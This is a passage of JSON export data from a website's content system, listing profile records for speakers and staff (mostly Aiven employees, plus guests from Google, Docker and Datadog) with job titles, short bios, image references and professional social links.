and long brunches on Sundays."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Josep Prat","asset":{"_ref":"image-4b7cc2684cdad92d32e1fde8bc07c35374fa8e96-800x800-jpg","_type":"reference"}},"jobTitle":"Open Source Engineering Director, Aiven","name":"Josep Prat","socialLink":{"_type":"socialLink","email":"josep.prat@aiven.io","linkedIn":"https://www.linkedin.com/in/jlprat/"}} {"__i18n_lang":"en","_createdAt":"2023-11-23T14:59:41Z","_id":"2773b73e-82c0-4385-87d7-fd8b6f5e62a1","_rev":"Arp4NzaYseKQ5hw9dg7pu8","_type":"person","_updatedAt":"2023-11-23T14:59:41Z","image":{"_type":"mainImage","asset":{"_ref":"image-93bf0880055497cd80e32d2900c372555f9d78f3-384x576-jpg","_type":"reference"}},"jobTitle":"Startup Program Manager, Aiven","name":"Andra Nuta","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/andra-nuta/"}} {"__i18n_lang":"en","_createdAt":"2023-07-18T09:04:45Z","_id":"29dcb771-16aa-4366-9197-590b46fe9803","_rev":"Q0E4krIrrKzFT4b6rSkmex","_type":"person","_updatedAt":"2023-07-19T08:12:46Z","bio":[{"_key":"28908067e7c7","_type":"block","children":[{"_key":"80e48820401c0","_type":"span","marks":[],"text":"As the DevOps team lead, Yotam is responsible for overseeing the efficient and reliable operation of Talon.One’s software development and deployment processes. He manages an enterprise-scalable infrastructure trusted by renowned customers such as Adidas, Afterpay, and Ticketmaster."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-c94eff14344786744c8ee09b9e465a364bf71190-500x500-webp","_type":"reference"}},"jobTitle":"DevOps Lead at Talon.One","name":"Yotam Cohen","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/yotam-cohen-b148a051/"}} {"__i18n_lang":"en","_createdAt":"2024-03-06T22:47:28Z","_id":"2c289d1f-16d3-4148-a98c-2c7a9f45368e","_rev":"L3boCkkiM9On4ApfxOEUs2","_type":"person","_updatedAt":"2024-03-12T14:57:56Z","image":{"_type":"mainImage","asset":{"_ref":"image-57898514bbd14a66fd616d7f7246279c0f4a8161-327x327-jpg","_type":"reference"}},"jobTitle":"FinTech Lead at Google Cloud","name":"Susan Brilling","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/susanbrilling/"}} {"__i18n_lang":"en","_createdAt":"2023-12-18T17:12:47Z","_id":"33a35350-5908-4984-8260-4e8d1a36eb23","_rev":"sg5cBJWkRHo7pkcz4M677B","_type":"person","_updatedAt":"2023-12-18T17:14:32Z","image":{"_type":"mainImage","alt":"Arthur Ansquer","asset":{"_ref":"image-468afda05d8d2c2a94817b355ae6afe58847e025-512x512-png","_type":"reference"}},"jobTitle":"Product Manager, Aiven","name":"Arthur Ansquer","slug":{"_type":"slug","current":"/arthur-ansquer"}} {"__i18n_lang":"en","_createdAt":"2024-03-28T09:44:40Z","_id":"360b4b6c-3513-4a52-82f9-0fcde3b3b4d1","_rev":"jtKCOwvZznpSK3bAV6eooG","_type":"person","_updatedAt":"2024-03-28T09:44:40Z","bio":[{"_key":"740b20ef68f7","_type":"block","children":[{"_key":"198e3540288e","_type":"span","marks":[],"text":"Previously a Senior Customer Success Engineer at GitLab, Philippe is now a Senior Solutions Architect at Docker, and recognized by Gitpod as a Community Hero."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Philippe Charrière","asset":{"_ref":"image-b4f5319c8cb538440d24e4a24b1fc406ed25e9d3-512x512-png","_type":"reference"}},"jobTitle":"Senior Solution Architect at Docker","location":"Lyon, France","name":"Philippe Charrière","role":"community-advocates","slug":{"_type":"slug","current":"/philippe-charriere"},"socialLink":{"_type":"socialLink","github":"https://github.com/k33g","twitter":"https://twitter.com/k33g_org"},"specialtyTopicTags":["WASM","Docker","Public speaking","Blogging",""]} {"__i18n_lang":"en","_createdAt":"2023-05-10T10:10:39Z","_id":"36874b14-1068-41af-a5b3-810819479ef7","_rev":"OlHhyDbudqKag6cjyDCkqs","_type":"person","_updatedAt":"2023-10-03T15:07:38Z","bio":[{"_key":"82a00ec95b1d","_type":"block","children":[{"_key":"8a1c2f0acb250","_type":"span","marks":[],"text":"Matty Stratton is the Director of Developer Relations at Aiven, a well-known member of the DevOps community, founder and co-host of the popular Arrested DevOps podcast, and a global organizer of the DevOpsDays set of conferences.\n\nMatty has over 20 years of experience in IT operations and is a sought-after speaker internationally, presenting at Agile, DevOps, and cloud engineering focused events worldwide. Demonstrating his keen insight into the changing landscape of technology, he recently changed his license plate from DEVOPS to KUBECTL.\n\nHe lives in Chicago and has three awesome kids, whom he loves just a little bit more than he loves Diet Coke."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Matty Stratton","asset":{"_ref":"image-4a949d82363a75a1fc11c01c1430b8513354b371-2387x2774-png","_type":"reference"}},"jobTitle":"Director, Developer Relations, Aiven","location":"Chicago, Illinois, USA","name":"Matty Stratton","pardotForm":"https://go.aiven.io/l/890043/2023-06-28/sltlr","role":"dev-rel","slug":{"_type":"slug","current":"/matty-stratton"},"socialLink":{"_type":"socialLink","github":"https://github.com/mattstratton","linkedIn":"https://www.linkedin.com/in/mattstratton/","mastodon":"https://hachyderm.io/@mattstratton","twitter":"https://twitter.com/mattstratton","website":"https://speaking.mattstratton.com"},"specialtyTopicTags":["DevOps","Kubernetes","Socio-technical systems","Infrastructure as Code","TechOps","Infrastructure operations","SRE"]} {"__i18n_lang":"en","_createdAt":"2023-03-02T12:38:45Z","_id":"37f35a80-44f4-47c1-8578-3d2c3f6f76ef","_rev":"iUKOwlWz6dlX4J4w1aNsTS","_type":"person","_updatedAt":"2023-03-02T12:39:28Z","bio":[{"_key":"899f4044a143","_type":"block","children":[{"_key":"71edc0508fac0","_type":"span","marks":[],"text":"Filip has many years of experience in consulting, IT project management, and product development. His previous positions include being responsible for the data streaming platform at ING with Apache Kafka and its ecosystems of 40 ING markets. He has experience as a senior product owner at REWE Digital and as a product owner at IBM for Docker Containers."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-f8ff08ad70e20f79c28f29f342fadba103642622-500x500-jpg","_type":"reference"}},"jobTitle":"Director of Product, Data Streaming Services","name":"Filip Yonov","socialLink":{"_type":"socialLink","email":"filip.yonov@aiven.io","linkedIn":"https://www.linkedin.com/in/filipyonov/"}} {"__i18n_lang":"en","_createdAt":"2024-03-11T14:43:39Z","_id":"4055f8bb-ccf1-4f1e-8155-cb532f360849","_rev":"3FGtLQfVRJNnLVm3pXUE99","_type":"person","_updatedAt":"2024-03-11T17:00:09Z","bio":[{"_key":"5714a352a348","_type":"block","children":[{"_key":"592a806c8ee40","_type":"span","marks":[],"text":"Nancy is an Engineer and Developer Advocate. She likes hacking through software engineering problems. She loves everything around Open source, DevOps \u0026 Security. What truly excites Nancy is involving people throughout the journey—from ideation to execution. She always look forward to leveraging her skills to enhance communication and understanding between diverse stakeholders. Nancy is a CNCF Ambassador. She has taken the initiative to establish the \"Women in Cloud Native Community\" to encourage diversity and participation. Nancy recently organized the first cloud-native sustainability mini-conference in India, bringing together folks and initiating discussions on this crucial topic."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Nancy Chauhan","asset":{"_ref":"image-2325bce0bb6803b173115149a6b9b6f1c582561a-800x800-jpg","_type":"reference"}},"jobTitle":"Developer Advocate, LocalStack","location":"Bengaluru, India","name":"Nancy Chauhan","role":"community-advocates","slug":{"_type":"slug","current":"/nancy-chauhan"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/nancy-chauhan/","twitter":"https://twitter.com/_nancychauhan"},"specialtyTopicTags":["Kafka","Open Source","Cloud","Cloud native"]} {"__i18n_lang":"en","_createdAt":"2023-03-16T18:29:51Z","_id":"418d85f7-76f3-4318-858b-e0cb066f7fdb","_rev":"0lF4kyZBi1fr8QymZ6L5za","_type":"person","_updatedAt":"2023-03-16T18:29:51Z","bio":[{"_key":"04f7243f830e","_type":"block","children":[{"_key":"48e5307af2260","_type":"span","marks":[],"text":"Ritesh leads the Cloud and Data Architecture teams at Simplilearn. With more than a decade of experience across legacy and modern technology stacks, his area of focus is optimized performance of the systems, zero downtime and solutions that keep the Cloud and Data infrastructure stable, secure and scalable."}],"markDefs":[],"style":"normal"},{"_key":"86262f2ef056","_type":"block","children":[{"_key":"35a8c50103140","_type":"span","marks":[],"text":"His areas of interest include databases, decoupled architecture, and performance running. He regularly blogs about the best practices in technology service management. You can occasionally find him cycling by lakesides or stargazing in the night."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Ritesh Wanchoo","asset":{"_ref":"image-65382ab35073e89225937861336d0c808760c4b1-259x258-jpg","_type":"reference"}},"jobTitle":"Cloud Architect, Simplilearn","name":"Ritesh Wanchoo"} {"__i18n_lang":"en","_createdAt":"2024-01-24T01:38:52Z","_id":"42861fda-0ad0-40e6-b0a3-8e96fa756035","_rev":"VeNKqGNmt13PzvGhqkblHG","_type":"person","_updatedAt":"2024-01-24T01:38:52Z","image":{"_type":"mainImage","asset":{"_ref":"image-6486517a6a7974c1d45ae4d36baffc037ec64fc1-800x800-jpg","_type":"reference"}},"jobTitle":"VP of Engineering, Nylas","name":"John Jung","slug":{"_type":"slug","current":"/john-jung"}} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:42:18Z","_id":"44487b95-68c0-4b10-a75c-527f0f9a9eb8","_rev":"Bp455s9rtQ49wRO6vWQrvL","_type":"person","_updatedAt":"2022-12-08T13:42:18Z","image":{"_type":"mainImage","alt":"Ryan Skraba","asset":{"_ref":"image-acb584df0bd95b5c9d345a1e5671e959b046cc4b-512x512-png","_type":"reference"}},"jobTitle":"Staff Software Engineer","name":"Ryan Skraba"} {"__i18n_lang":"en","_createdAt":"2022-12-16T06:49:28Z","_id":"4679c589-d7aa-4908-8d4d-34ea2c5824ec","_rev":"IN1wWLxm4Ro5Jwpni97UTt","_type":"person","_updatedAt":"2023-06-27T10:26:56Z","image":{"_type":"mainImage","alt":"Jodi Slomp","asset":{"_ref":"image-a2e9762718cb9d606e2ff61467fb43d3771fd289-800x800-jpg","_type":"reference"}},"jobTitle":"Senior Director, People Partner \u0026 Employee Experience, Aiven","name":"Jodi Slomp","socialLink":{"_type":"socialLink","email":"jodi.slomp@aiven.io","linkedIn":"https://www.linkedin.com/in/jodislomp/"}} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:35:19Z","_id":"4befdce4-ec15-44e5-b23d-be3bc30f68a6","_rev":"VrdcoLtXxUWed6PHr4BnRl","_type":"person","_updatedAt":"2022-12-08T13:35:19Z","image":{"_type":"mainImage","asset":{"_ref":"image-2344401bf4f75fa7c215364e28bb7a9414118862-512x512-png","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Ronan Dunklau"} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:41:17Z","_id":"4c8c25d2-c722-4e29-8ebe-31481e8c17ad","_rev":"Bp455s9rtQ49wRO6vWQfsF","_type":"person","_updatedAt":"2022-12-08T13:41:17Z","image":{"_type":"mainImage","alt":"Andriy Redko","asset":{"_ref":"image-5f489db05f5ace73ed6cf2a59a40c709f2356061-512x512-png","_type":"reference"}},"jobTitle":"Staff Software Engineer","name":"Andriy Redko"} {"__i18n_lang":"en","_createdAt":"2023-10-30T13:39:57Z","_id":"4dec0310-59dd-4806-be49-d27237f5cdb5","_rev":"K4OjmPZwqkJMmxhvodXZPs","_type":"person","_updatedAt":"2023-10-30T13:42:34Z","image":{"_type":"mainImage","asset":{"_ref":"image-7a774fd0b1b7768835ba0f7f312620daf87a2eb3-420x424-png","_type":"reference"}},"jobTitle":"VP of Partnerships and OEM, Aiven","name":"Elena Zykova","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/elena-zykova-07482618/"}} {"__i18n_lang":"en","_createdAt":"2024-01-24T01:31:57Z","_id":"4e164da7-28fd-4c26-b537-8bc1a3c5c949","_rev":"7qeFKv67V7UXtPEzbokB9m","_type":"person","_updatedAt":"2024-01-24T21:32:40Z","image":{"_type":"mainImage","asset":{"_ref":"image-d005f06f7da0bd26b98b6c70cb31f6fda8f66416-3024x4035-jpg","_type":"reference"}},"jobTitle":"GVP of Engineering, Avaya","name":"Matt Krokosz","slug":{"_type":"slug","current":"/matt-krokosz"}} {"__i18n_lang":"en","_createdAt":"2022-12-16T06:52:22Z","_id":"55268f9c-075b-4cd6-a233-d5ad4c0911b0","_rev":"vLPPjjcbeECFTbnAfdqxC9","_type":"person","_updatedAt":"2023-06-27T10:25:49Z","image":{"_type":"mainImage","alt":"Klaus Schaller","asset":{"_ref":"image-a462bf01471c1f14e1481f0986b0feb429ecbf2c-800x800-jpg","_type":"reference"}},"jobTitle":"Workplace Experience Manager, Aiven","name":"Klaus Schaller","socialLink":{"_type":"socialLink","email":"klaus.schaller@aiven.io","linkedIn":"https://www.linkedin.com/in/klaus-schaller-240ab494/"}} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:46:02Z","_id":"58b355fc-50d2-437c-a3a5-13b670b20e7f","_rev":"cwf6PSmkIH3MXtFHys15fp","_type":"person","_updatedAt":"2022-12-08T13:46:02Z","image":{"_type":"mainImage","alt":"Claude Warren Jr.","asset":{"_ref":"image-9b63cf62cf14df38f1640072fe227f3ad3e404a1-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Claude Warren Jr."} {"__i18n_lang":"en","_createdAt":"2023-10-25T11:29:57Z","_id":"5e071b9f-e67a-4a39-9924-ccad9d0a326d","_rev":"1Lf0lTITu85vuB356R2vw5","_type":"person","_updatedAt":"2023-10-25T14:28:37Z","bio":[{"_key":"af00fe9ac4d7","_type":"block","children":[{"_key":"6647663ec1550","_type":"span","marks":[],"text":"Kevin is a Partner Solutions Architect at Aiven, helping Aiven's partners and their customers to use open-source databases on a managed platform. His background is in software and operations, leading to platform engineering, which really made him appreciate the value of great automation and cloud platforms to look after the messy things which sit behind an application."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Kevin Bowman","asset":{"_ref":"image-a1580ea7980dbc413594e2a7b6012a01dccc9227-512x512-jpg","_type":"reference"}},"jobTitle":"Staff Partner Solution Architect","name":"Kevin Bowman","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/kevin-bowman-236231/"}} {"__i18n_lang":"en","_createdAt":"2023-10-06T06:21:59Z","_id":"5e825569-4da1-447e-ba51-6cecb625a4c2","_rev":"ck602smrwFloVEh7NYJpfh","_type":"person","_updatedAt":"2023-10-09T10:10:52Z","image":{"_type":"mainImage","alt":"Tim Mamo photo","asset":{"_ref":"image-1dedbbe8c38dee5d04af627af226ad9b7e387d85-400x400-jpg","_type":"reference"}},"jobTitle":"Senior Developer Advocate, Digital Ocean","name":"Timothy (Tim) Mamo","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/timothymamo/"}} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:34:21Z","_id":"6a6d4b94-b0f9-4a97-a019-32bdc65f0610","_rev":"VrdcoLtXxUWed6PHr4BYpK","_type":"person","_updatedAt":"2022-12-08T13:34:21Z","image":{"_type":"mainImage","asset":{"_ref":"image-1007f846c36512c86dbc2bfba98e99ee0ca5c6e0-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Matthew De Detrich"} {"__i18n_lang":"en","_createdAt":"2023-03-16T18:26:40Z","_id":"6c7e2eea-f29b-47fa-80bc-a96be82a28bb","_rev":"0lF4kyZBi1fr8QymZ6KnCx","_type":"person","_updatedAt":"2023-03-16T18:26:40Z","bio":[{"_key":"b04f3eea55a0","_type":"block","children":[{"_key":"7ed5364c89080","_type":"span","marks":[],"text":"Kusum works as a Principal Architect at Simplilearn and shapes the technology vision of the organization. With 15+ years of experience across LAMP, MEAN and MERN frameworks and cloud computing, she brings innovations in architectural solutioning and champions research in the latest technologies to solve the challenges faced by modern businesses. She is passionate about serverless and event driven architectures and is often looked upon by the technology teams for guidance with architectural solutions."}],"markDefs":[],"style":"normal"},{"_key":"6aa1fe7f3972","_type":"block","children":[{"_key":"d984f91f39930","_type":"span","marks":[],"text":"Having worked with clients across India, Europe and the US, Kusum advocates the best practices to create scalable and enterprise grade applications. A certified Yoga instructor, she evangelizes healthy body, mind and soul for the technologists who are in for the long game."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Kusum Saini","asset":{"_ref":"image-cdcaabfef78acec50a9e310dc518c7b660500324-259x258-jpg","_type":"reference"}},"jobTitle":"Principal Architect, Simplilearn","name":"Kusum Saini"} {"__i18n_lang":"en","_createdAt":"2023-05-11T19:29:37Z","_id":"6e89817e-c204-41c6-baf1-47fccad2cdf5","_rev":"rmwlP4nleGzuGoL3WAAhDO","_type":"person","_updatedAt":"2023-05-16T13:47:03Z","bio":[{"_key":"1f0e80a1eb1a","_type":"block","children":[{"_key":"e83ca934d5440","_type":"span","marks":[],"text":"Amy Krishnamohan is VP of Product Marketing at Aiven responsible for product / solution marketing. She has diverse experience across product marketing, marketing strategy and product management from leading enterprise software companies such as Google, MariaDB, SAP, Accenture, Cisco and Intuit. Amy received her Masters in Software Management from Carnegie Mellon University"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-08b4453f04968cc038abc9448e052de3bc81300d-800x800-jpg","_type":"reference"}},"jobTitle":"VP of Product Marketing, Aiven","name":"Amy Krishnamohan","socialLink":{"_type":"socialLink","email":"amy.km@aiven.io","linkedIn":"https://www.linkedin.com/in/amy-krishnamohan-34647020/"}} {"__i18n_lang":"en","_createdAt":"2023-09-27T15:09:02Z","_id":"70ba1bb7-5499-4e72-821e-77f11230512e","_rev":"rpwBSMa1i11HwZnbWsxXnD","_type":"person","_updatedAt":"2023-09-27T15:15:57Z","bio":[{"_key":"bac51a38b2e4","_type":"block","children":[{"_key":"de1a415d03170","_type":"span","marks":[],"text":"Francois works as a Software Engineer at Datadog, a leading observability and security SaaS platform. He works on the team responsible for Datadog's Kafka infrastructure, ingesting petabytes of data per day. Prior to working at Datadog, he was an engineer working on streaming infrastructure at Meta and Criteo. He loves talking about data streaming, observability and distributed systems. In his spare time, you can find him riding around his hometown of Lyon, France on one of his many bicycles."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-fd6c84b6c347afc3087ee3abf8d0fccee7a9e557-1054x1080-png","_type":"reference"}},"jobTitle":"Senior Software Engineer at Datadog","name":"Francois Visconte","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/fvisconte/"}} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:12:53Z","_id":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_rev":"ZpixvKy5oWJdKYmQwbP1KM","_type":"person","_updatedAt":"2023-09-11T09:06:15Z","author":{"_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"},"bio":[{"_key":"e11b2e40e050","_type":"block","children":[{"_key":"7bb737c2e7600","_type":"span","marks":[],"text":"Floor is an art school graduate, who stumbled into tech face-first. Currently a Staff Community Program Manager at Aiven, previously she worked in DevRel roles at Grafana Labs and Microsoft. Floor is a Devopsdays Core member, and organizes the Devopsdays Amsterdam and Eindhoven conferences. She's a Microsoft MVP for Developer Technologies, and organizes a bunch of meetups, including but certainly not limited to contributing.today, and the Open Source Data Infrastructure meetup in Amsterdam."}],"markDefs":[],"style":"normal"}],"content":[{"_key":"1b596f22656a","_type":"block","children":[{"_key":"39c3776cae3c","_type":"span","marks":[],"text":"\"I enjoy working at Aiven because everyone here supports and loves the open source technology in our portfolio.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Floor Drees","asset":{"_ref":"image-779e18996baf29db46ceeaae57a91018a33660fe-768x768-jpg","_type":"reference"}},"jobTitle":"Staff Community Program Manager, Aiven","location":"The Netherlands","name":"Floor Drees","pardotForm":"https://go.aiven.io/l/890043/2023-09-11/sztzn","role":"dev-rel","slug":{"_type":"slug","current":"/floor-drees"},"socialLink":{"_type":"socialLink","github":"https://github.com/floord","linkedIn":"https://www.linkedin.com/in/floordrees","mastodon":"https://hachyderm.io/@floord","twitter":"https://twitter.com/DevOpsBarbie","website":"https://floor.dev"},"specialtyTopicTags":["Open source sustainability","Governance","Open source funding","DEI and neurodiversity","DevOps","Git/GitHub","Grafana","Load testing"]} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"7c78fa6e-bdbd-4b55-b018-ad4f190d0f73__i18n_de","_type":"reference"}],"_createdAt":"2024-06-13T08:35:16Z","_id":"7c78fa6e-bdbd-4b55-b018-ad4f190d0f73","_rev":"UEcq9VZT1LAO45csdM0700","_type":"person","_updatedAt":"2024-06-20T13:04:54Z","image":{"_type":"mainImage","alt":"Verena, Google, image","asset":{"_ref":"image-99257ec64b1db98d0200affc7cf3d6c93fd42df3-2048x1365-jpg","_type":"reference"}},"jobTitle":"Customer Engineering Manager, Google","name":"Verena Schustereder"} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:27:32Z","_id":"7f9f4ea5-eeeb-4810-93c5-a91a8b67b34e","_rev":"bUMlF7B1Xxw34pzcKjopR8","_type":"person","_updatedAt":"2022-11-17T14:39:47Z","content":[{"_key":"8d383bc15934","_type":"block","children":[{"_key":"f8277b48bda3","_type":"span","marks":[],"text":"\"Working at Aiven has given me the opportunity to take ownership of projects, learn \u0026 challenge myself in ways I had never imagined.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-1083817dd0d00a6a7952fbdc8cb0cfc5b7f2361d-860x860-jpg","_type":"reference"}},"jobTitle":"Communications Manager EMEA, Aiven","name":"Ruth Prieto Arenas"} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:21:38Z","_id":"81f9160a-71ab-473b-98f3-54e99f3e08e5","_rev":"o4ZrZ3meJd1fuMuO3R3AG7","_type":"person","_updatedAt":"2022-10-13T07:36:01Z","content":[{"_key":"2fd4523cb150","_type":"block","children":[{"_key":"d54329a363000","_type":"span","marks":[],"text":"\"I have the freedom to be thoughtful and responsible for creating a positive impact for the business, for myself and my family.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-870861899ccc18e5cca0a86211804523f9172dd5-397x396-jpg","_type":"reference"}},"jobTitle":"Security Operations Engineer, Aiven","name":"Dhruv Sehgal"} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:38:30Z","_id":"85065550-aa7e-446d-a6a8-21e2350235eb","_rev":"VrdcoLtXxUWed6PHr7vyaX","_type":"person","_updatedAt":"2022-12-09T11:40:24Z","image":{"_type":"mainImage","alt":"Maxim Muzafarov","asset":{"_ref":"image-4d0f8cc2de36ca03424271f1c91a07959f31a9a8-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Maxim Muzafarov"} {"__i18n_lang":"en","_createdAt":"2023-03-15T18:57:24Z","_id":"899a955a-c0a0-4346-9586-e392438a6d8f","_rev":"FyKybxTQXmO9mB4Bp2VTKL","_type":"person","_updatedAt":"2023-03-15T18:57:24Z","image":{"_type":"mainImage","asset":{"_ref":"image-ab11bf69db29973b1c6fd8b73b3d46f4a5a3e655-2049x2069-png","_type":"reference"}},"jobTitle":"Senior Partner Solution Architect","name":"Chris Butler","socialLink":{"_type":"socialLink","email":"chris.butler@aiven.io","linkedIn":"https://www.linkedin.com/in/chris-butler-218678b5/"}} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:39:30Z","_id":"8a40fa0e-ee95-47ff-ad81-0275111deca8","_rev":"Bp455s9rtQ49wRO6vWQM91","_type":"person","_updatedAt":"2022-12-08T13:39:30Z","image":{"_type":"mainImage","alt":"Sergey Nuyanzin","asset":{"_ref":"image-8b026f290705d392505e21debe69a22ae618dd50-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Sergey Nuyanzin"} {"__i18n_lang":"en","_createdAt":"2023-10-19T11:33:18Z","_id":"8cfcc5d4-1ef6-48c1-a50e-0d8445bf8ac7","_rev":"97ScSe1K9UIWVy4zLdiJsf","_type":"person","_updatedAt":"2023-10-20T14:32:57Z","image":{"_type":"mainImage","asset":{"_ref":"image-a75c9ee4c20d71d63578ebd431e6566e72092bcd-512x512-jpg","_type":"reference"}},"jobTitle":"Director of Product Management, Experience, Aiven","name":"Cara Baestlein","socialLink":{"_type":"socialLink","github":"https://github.com/carabaestlein","linkedIn":"https://www.linkedin.com/in/cara-baestlein/","twitter":"https://twitter.com/CaraBaestlein"}} {"__i18n_lang":"en","_createdAt":"2023-06-14T13:03:59Z","_id":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_rev":"6TkalTjRLEz7XIg6Axf6ln","_type":"person","_updatedAt":"2023-07-03T08:50:44Z","author":{"_ref":"af200904-2806-41f9-8278-b1104bb26d0a","_type":"reference"},"bio":[{"_key":"80bdfb817ff2","_type":"block","children":[{"_key":"ee42dd535f6f0","_type":"span","marks":[],"text":"Sébastien Blanc is a Passion-Driven-Developer with one primary goal: Make the Developers Happy. He likes to share his passion by giving talks that are pragmatic, fun and focused on live coding."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Sébastien Blanc","asset":{"_ref":"image-dd4eae2fedecd9c3668ae6008d4fe1bcbafefad8-800x1200-jpg","_type":"reference"}},"jobTitle":"Staff Developer Advocate, Aiven","location":"France","name":"Sébastien Blanc","pardotForm":"https://go.aiven.io/l/890043/2023-07-03/sm538","role":"dev-rel","slug":{"_type":"slug","current":"/sebi"},"socialLink":{"_type":"socialLink","github":"https://github.com/sebastienblanc","linkedIn":"https://www.linkedin.com/in/s%C3%A9bastien-blanc-08a73b1/","twitter":"https://twitter.com/sebi2706"},"specialtyTopicTags":["Java","Open source","PostgreSQL"]} {"__i18n_lang":"en","_createdAt":"2023-10-23T08:55:13Z","_id":"91737d75-5248-44c0-b695-9a93bc7ca096","_rev":"yGYi2HTu7doJg1fO7hB31x","_type":"person","_updatedAt":"2023-11-02T05:29:43Z","bio":[{"_key":"aa59ab53c35d","_type":"block","children":[{"_key":"bfd5ef25b86c0","_type":"span","marks":[],"text":"Michael started out as a Perl \u0026 Java developer writing app servers before you could get one off the shelf, but quickly adopted an opensource-first approach to enterprise software development \u0026 architecture which he's followed for over 25 years. "}],"markDefs":[],"style":"normal"},{"_key":"162dcf124aa9","_type":"block","children":[{"_key":"7aceefdb0f9d","_type":"span","marks":[],"text":"Since first using Apache Lucene in 2006, Michael has been incorporating Search into apps as a way to lift user experience \u0026 give enterprise users the \"Google experience\" we've all come to expect. "}],"markDefs":[],"style":"normal"},{"_key":"6cd5da2df068","_type":"block","children":[{"_key":"d7d06c4c99fc","_type":"span","marks":[],"text":"As part of Aiven's Solution Architecture team, Michael gets to play with all the best Open Source data platform tech at a company that believes in \u0026 actively contributes back to the open source community."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-920a63f420b647ae8420bd515ba4a0cb074b4eea-989x989-jpg","_type":"reference"}},"jobTitle":"Senior Solution Architect, Aiven","location":"Melbourne","name":"Michael Coates","slug":{"_type":"slug","current":"/michael-coates"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/michael-coates-767ab02/"}} {"__i18n_lang":"en","_createdAt":"2024-03-04T12:55:05Z","_id":"9b224a59-38e3-49ca-93c7-4c702a07e48a","_rev":"XLEaM1ZFR5SqX0P1756to6","_type":"person","_updatedAt":"2024-03-05T10:41:24Z","bio":[{"_key":"9c92e9b8fd73","_type":"block","children":[{"_key":"7ff457f23ad40","_type":"span","marks":[],"text":"I've been working for the last 8 years in the industry doing everything from DevOps, and network automation, to analytics and front end web development. What I kept finding was I was always advocating for best practices, or sustainable system design. As it turns out I enjoyed advocating for things more than building them which is how I ended up as an advocate. Now I am spending my time teaching others about how to run and build systems so they don't have to feel alone in the process."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"David Tippett","asset":{"_ref":"image-d91b1f5255f43d3325172012cabdda24de0d539f-400x400-jpg","_type":"reference"}},"jobTitle":"Senior Developer Advocate OpenSearch, Amazon","location":"Virginia Beach, United States","name":"David Tippett","role":"community-advocates","slug":{"_type":"slug","current":"/david-tippett"},"socialLink":{"_type":"socialLink","github":"https://github.com/dtaivpp/","linkedIn":"https://linkedin.com/in/david-tippett/","twitter":"https://twitter.com/dtaivpp"},"specialtyTopicTags":["OpenSearch","Open Source","Search","Observability"]} {"__i18n_lang":"en","_createdAt":"2024-03-12T13:17:38Z","_id":"9b22ef6b-85f7-420c-ae41-d260a6e4aa84","_rev":"L3boCkkiM9On4ApfxO6Ms2","_type":"person","_updatedAt":"2024-03-12T13:30:10Z","bio":[{"_key":"4069f944ff2b","_type":"block","children":[{"_key":"e442184df6fa0","_type":"span","marks":[],"text":"Nathen Harvey, Developer Relations Engineer, leads the DORA team at Google Cloud. DORA's work enables teams and organizations to thrive by delivering industry-shaping, accessible, and actionable research. Nathen has learned and shared lessons from some incredible organizations, teams, and open source communities. He is a co-author of multiple DORA reports on software delivery performance and was an editor for 97 Things Every Cloud Engineer Should Know, published by O'Reilly in 2020."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Nathen Harvey headshot","asset":{"_ref":"image-4a77c0220451aa80173de363e84bdd4d8c01c9d7-3000x3000-jpg","_type":"reference"}},"jobTitle":"DORA Lead, Google Cloud","name":"Nathen Harvey","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/nathen","twitter":"https://twitter.com/nathenharvey"}} 